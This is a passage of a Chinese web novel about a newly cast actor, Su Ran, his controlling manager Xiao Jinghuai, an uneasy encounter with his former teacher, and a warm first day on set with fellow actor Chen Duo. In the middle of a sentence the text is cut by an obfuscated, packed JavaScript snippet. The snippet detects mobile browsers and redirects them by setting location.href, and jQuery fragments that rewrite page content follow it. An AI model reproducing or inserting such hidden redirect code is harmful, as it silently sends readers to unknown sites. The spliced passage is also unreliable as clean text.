几天后，苏燃在萧景淮的安排下，开始了密集的进组前准备：剧本围读、武术训练、定妆照拍摄、配合前期宣传物料……每一天都被塞得满满当当。
萧景淮对他的掌控无处不在，从采访时的每一句措辞，到拍照时的每一个微表情，都有严格的要求和即时的反馈。
苏燃感觉自己像一件被精心打磨的器物，正在被强行灌注“沈归鹤”的灵魂。但不得不承认，萧景淮方法是有效的，他快速进入了状态。
只有在深夜回到公寓，疲惫地卸下所有伪装后，他才会偶尔想起试镜时那短暂的幻觉，和眼尾那颗似乎越来越清晰的红点儿。有时对着镜子，他会生出一种荒诞的感觉，仿佛有另一个模糊的影子，正透过这双眼睛，静静地看着这个陌生的世界。
但他没有时间，也没有勇气去深究。萧景淮的警告言犹在耳，他只能将全部精力投入眼前的角色。
今天要拍摄一组带有玄幻色彩的角色概念海报，他们已经来到楼下，小慧突然想起一个重要的道具忘了拿，赶紧回去取。
车还没来，苏燃站在青田大厦楼下等。
这时，罗老师和训练营的几位助教老师从青田大厦里走了出来。那几位助理看见苏燃，目光微妙地交错一瞬，随即加快脚步，低声告辞离去。
这是罗老师拒绝接苏燃电话后，两个人第一次见面。
罗老师显然也看见了苏燃，但他似乎并不想停留。
就在两人即将擦肩的刹那，苏燃听见自己的声音，干涩地划开凝固的空气：“老师。”
罗老师身形一滞。他没有看苏燃，目光垂落在冰冷的地砖上，声音压得又低又快：“既然选择留下，就好好演戏。”他顿了顿，喉结滚动，“……保护好自己。”
只这一句。
苏燃眼眶骤然一热，像被某种滚烫而纤细的针猝不及防刺入。他猛地别开脸，望向街道对面模糊的车流。
罗老师叹了口气，停下脚步。
五年。从进入训练营起，他就跟着罗老师。那些倾囊相授的深夜，一字一句为他抠细节的耐心，近乎严苛却总藏着期许的眼神……都是真的。
可也是同一个人，当众宣布他“没有观众缘”，轻飘飘一句话否定了他们五年的努力。这也是苏燃病倒的原因，他怎么都想不通罗老师为什么这么做。
没有观众缘，一个何其飘渺，又无可辩驳的理由。
罗老师沉默了片刻。风卷起他风衣下摆，他的声音浸在寒风里，透出一丝遥远的、近乎怅然的沙哑：“我……以前也带过一个，和你一样有灵性的学生。”
苏燃转头，忍不住追问：“那师兄现在……？”
罗老师没有回答。
他抬起头，目光越过苏燃的肩头，投向高耸入云的青田大厦。
大厦顶端，玻璃外墙反射出耀眼的光芒，让人不敢直视。
“在看什么，罗老师？”
一道平稳、温润，却让空气瞬间冷却几度的声音，自身侧传来。
萧景淮不知何时已站在几步之外。他脸上挂着无懈可击的微笑，目光先掠过苏燃微微发红的眼尾，随即落定在罗老师瞬间僵硬的脸上，末了，漫不经心地瞥了一眼大厦顶楼方向。
罗老师对上萧景淮的目光，唇瓣嚅动了一下，终究什么也没说，只对他仓促地点了下头，便转身匆匆离去，背影很快融进平阜街头川行不息的人流。
“萧哥。”小慧取东西回来，和萧景淮打了声招呼，急忙拉着苏燃的胳膊上车，“摄影棚那边已经在催了，再晚就要卡着日落的光影了。”
苏燃被拉向车门，匆匆回头一瞥。
萧景淮脸上那层完美的笑意褪得干干净净，只剩下一片冰冷的漠然，他面无表情地转身，径直走入青田大厦。黑色大衣的下摆扫过台阶，带起一阵无声的风。
车门“砰”地关上，隔绝了门外的寒意，小慧松了口气：“就这么一会儿功夫，你不是又做了什么惹萧哥不高兴的事吧？”
苏燃没说话，指尖无意识地抠着座椅边缘，目光还黏在沉默矗立的青田大厦上。刚才罗老师看过去的眼神，太深，太沉，像在凝视深渊。
轮胎碾过柏油路，发出沙沙声响。前方很快出现熟悉的摄影棚招牌，暖黄的灯光从敞开的大门里漫出来，带来几分暖意。
一应设备早就准备就绪，摄影师为了追求效果，在背景中加入了大量干冰制造的雾气，并打上幽蓝与暗红交错的光。苏燃穿着沈归鹤那身月白直裰，手持道具长剑，站在迷蒙的雾气与诡谲的光影中，按照要求做出眺望远山、眼神空茫的姿态。
在某一刹那，当一缕暗红色的灯光掠过他眼尾时，他仿佛看到镜子（用于检查造型的反光板）中的自己，那点朱砂红得惊人，几乎要滴出血来。而背景那幽蓝的雾气，在他恍惚的视线里，似乎扭曲成了某种古老树木的枝桠，无声地向他蔓延。
“好！非常好！就是这种感觉！带点神秘，带点非人感！”摄影师兴奋地大喊。
苏燃猛地回神，雾气只是雾气，灯光只是灯光。
青田大厦四十二楼，萧景淮看着监视器里的画面，金丝边眼镜反射着屏幕的冷光，看不清他眼中的情绪。
“非人感……”他无声地重复着摄影师的形容词，指尖轻轻敲击着桌面。
笃，笃，笃……节奏像古老的召唤，更像某种远古生灵正在醒来的心跳。
《踏鹤归》剧组在平阜郊外的影视基地正式开机。拍摄地选在了一个仿古建筑群，亭台楼阁依山傍水而建，最大程度还原了剧本中“江湖与朝堂交织”的意境。
深秋的山间，晨雾如乳白色的纱幔，久久缠绕着黛青色的峰峦，直到晌午的阳光才有气无力地将其化开，露出仿古建筑群飞翘的檐角和斑驳的砖墙。
空气是清冽的，带着枯草、泥土和远处松林特有的涩香，与城市里终年不散的尘埃尾气味截然不同。苏燃裹着厚重的长款羽绒服，手里捧着小慧塞给他的暖手宝，站在分配给主要演员的独立休息室门口，看着剧组如同苏醒的巨兽，各个部门开始有条不紊地运转。嘈杂，却充满一种粗糙而热烈的生命力。
新鲜感压过了北方深秋的寒意，也暂时冲淡了连日被萧景淮“精细打磨”的紧绷。
“苏燃？来得挺早啊。”
一个有点熟悉的声音从侧后方传来。苏燃回头，看见陈铎也裹着件黑色羽绒服，正笑吟吟地走过来。
他今天的气色很好，头发做了新剧的造型，额前垂下几缕，中和了面部轮廓的硬朗，显得特别随和。
“铎哥早。”苏燃连忙打招呼，心里那点因为“空降”而产生的微妙不自在，在陈铎自然的笑容里消散了些。
“别杵外边了，山里风硬，进屋。”陈铎很自然地揽了一下他的肩膀，带着他往休息室走，“你这儿条件还行，就是暖气片有点老，嗡嗡响，晚上睡觉戴个耳塞。热水壶我让助理多备了一个，放你那边柜子下了，山间湿冷，得多喝热水。”
他语气熟稔得像认识多年的老友，细节周到得让苏燃有些受宠若惊。“谢谢铎哥，太麻烦你了。”
“客气什么。”陈铎摆摆手，脱下羽绒服挂在衣架上，里面已经穿好了戏服的里衬，“都是青田出来的，在这山里剧组，咱们就是自己人。你第一次担主，很多事儿慢慢就懂了，有什么不清楚的，随时问我。”
正说着，场务来通知主演去化妆间。通往化妆间的路上，陈铎随口跟他聊着：“赵导拍戏认真，但人不古怪，你按他的要求来，别怕NG。武指王老师是业内顶尖，手底下有真功夫，跟他学两招，戏里用得上，戏外也能强身健体。”
化妆间里已经热闹起来。演老皇帝的演员正闭目养神让化妆师粘胡子，演女主的当红小花正对着镜子练习含泪的眼神。苏燃被引到自己的位置坐下，陈铎的化妆台就在他旁边。
“小苏皮肤底子真好，就是有点干，山风吹的。”负责苏燃的化妆师是个爽利的大姐，一边给他上底妆一边念叨，“得勤敷面膜，铎哥那儿有他代言的牌子，好用，回头让他给你拿两盒。”
陈铎正闭眼画眉毛，闻言笑道：“王姐你就惦记着我的库存。行啊，小苏，晚点让助理拿给你。这山里，保湿防晒都不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228478|197577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能马虎，别看天阴，紫外线厉害着呢。”
化妆的过程漫长。陈铎似乎是个闲不住的话匣子，或者说，他很懂得如何不让气氛冷场。他聊起之前拍戏时在山里遇到的趣事，某个演员因为怕虫子闹出的笑话；说起综艺录制时怎么应对突发状况；甚至分享了自己保持镜头前状态的小秘诀，开拍前含一颗润喉糖，能让声音听起来更清润些。
“这都是吃亏吃出来的经验，”陈铎对着镜子调整了一下发套，语气里带着过来人的调侃，“没人天生就会。你呀，别绷太紧，放松点，戏才能好看。”
苏燃听着，偶尔搭一两句话，心情奇异地松快起来。在这里，没有人用评估商品的眼神看他，没有无处不在的指令和修正。陈铎的照顾坦荡而自然，带着一种师兄对师弟的照拂，填补了他作为新人在陌生环境里的些许无措。
定妆完毕，两人一前一后走去拍摄现场。今天先拍几场文戏，地点在仿古建筑群的“听雨轩”。陈铎饰演的镇远侯世子与苏燃饰演的沈归鹤，在这里有一场看似风平浪静、实则暗流涌动的初遇。
走戏时，陈铎会主动提出自己的想法：“赵导，我觉得这里世子递给沈归鹤茶盏的时候，手指是不是可以稍微顿一下？表现他表面礼数周全，实则心存审视。”
赵导想了想，点头同意。陈铎便会转头，低声跟苏燃解释：“这样你接茶的时候，眼神里那点警惕和迟疑就更合理了。”
实拍时，苏燃偶尔有一句台词节奏没把握好。导演还没喊“咔”，陈铎已经自然而然地接了下去，用即兴加的一句调侃圆了场，引得现场工作人员会心一笑，也缓解了苏燃的尴尬。
重来一遍，果然顺畅很多。
中午放饭，剧组统一订的盒饭。山里的气温低，饭菜容易凉。苏燃领了自己的那份，正找地方坐下，陈铎的助理已经端着两碗热气腾腾的汤过来：“铎哥让厨房单独做的姜丝蛋花汤，驱驱寒，苏老师也喝一碗吧。”
苏燃道谢接过，捧着温热的汤碗，看着不远处陈铎正和几个老戏骨演员围坐在一起，边吃边聊着什么，不时发出笑声。
阳光艰难地穿透云层，洒在青石板地上，空气里飘着饭菜香和淡淡的烟草味（某个老烟枪道具师在远处过瘾）。这一刻，片场不像一个名利角逐的战场，倒像是一个临时组建、共同完成某项工作的大家庭，粗糙，温暖，带着人间烟火气。
轻松的氛围里，时间过得很快。收工时，天色已近黄昏，山风更疾。苏燃换回自己的衣服，感觉骨头缝里都透着凉气，但精神却是近日来少有的舒畅。
“第一天感觉怎么样？”陈铎也换好了便服，走过来问。
“挺好的，比想象中……有意思。”苏燃如实说道，嘴角不自觉地带了点笑意。这笑容轻松自然，不是训练出来的弧度。
“有意思的还在后头呢。拍戏这事儿，就是痛并快乐着，偶尔你也得学会偷懒。”陈铎悄悄眨了眨眼睛，低低地笑，拍拍他的背，“走了，明天见。晚上记得敷面膜！”
苏燃忍不住弯了弯眼角，低声应道：“知道了，铎哥。”
晚风卷着山坳里的寒气扑过来，吹得他额前的碎发乱飞。陈铎已经迈步往停车的方向走，背影融进橘红色的暮色里，还不忘回头挥了挥手。苏燃站在原地，看着那道身影走远，才低头呵了口热气搓搓手，转身往自己的保姆车那边走。
回到山下酒店，萧景淮的电话准时追了过来，例行询问今日情况。苏燃汇报了拍摄进度，提到组里人的关照时，语气里不自觉带上一丝轻快。
电话那头，萧景淮沉默了片刻，淡淡道：“陈铎？他比你提前两年入行，有点经验，你可以学着点。但记住，戏里戏外，分寸自己把握。”
“我明白，萧哥。”
挂断电话，苏燃站在酒店房间的窗前，望着远处黑黢黢的山影。城市的光污染在这里减弱，能看见几颗稀疏的星子。
他知道萧景淮的“分寸”是什么意思。但此刻，似乎也找到了一点，属于“演员”这个身份的、微小的确幸。他允许自己暂时沉浸在这份难得的，轻松与温暖里。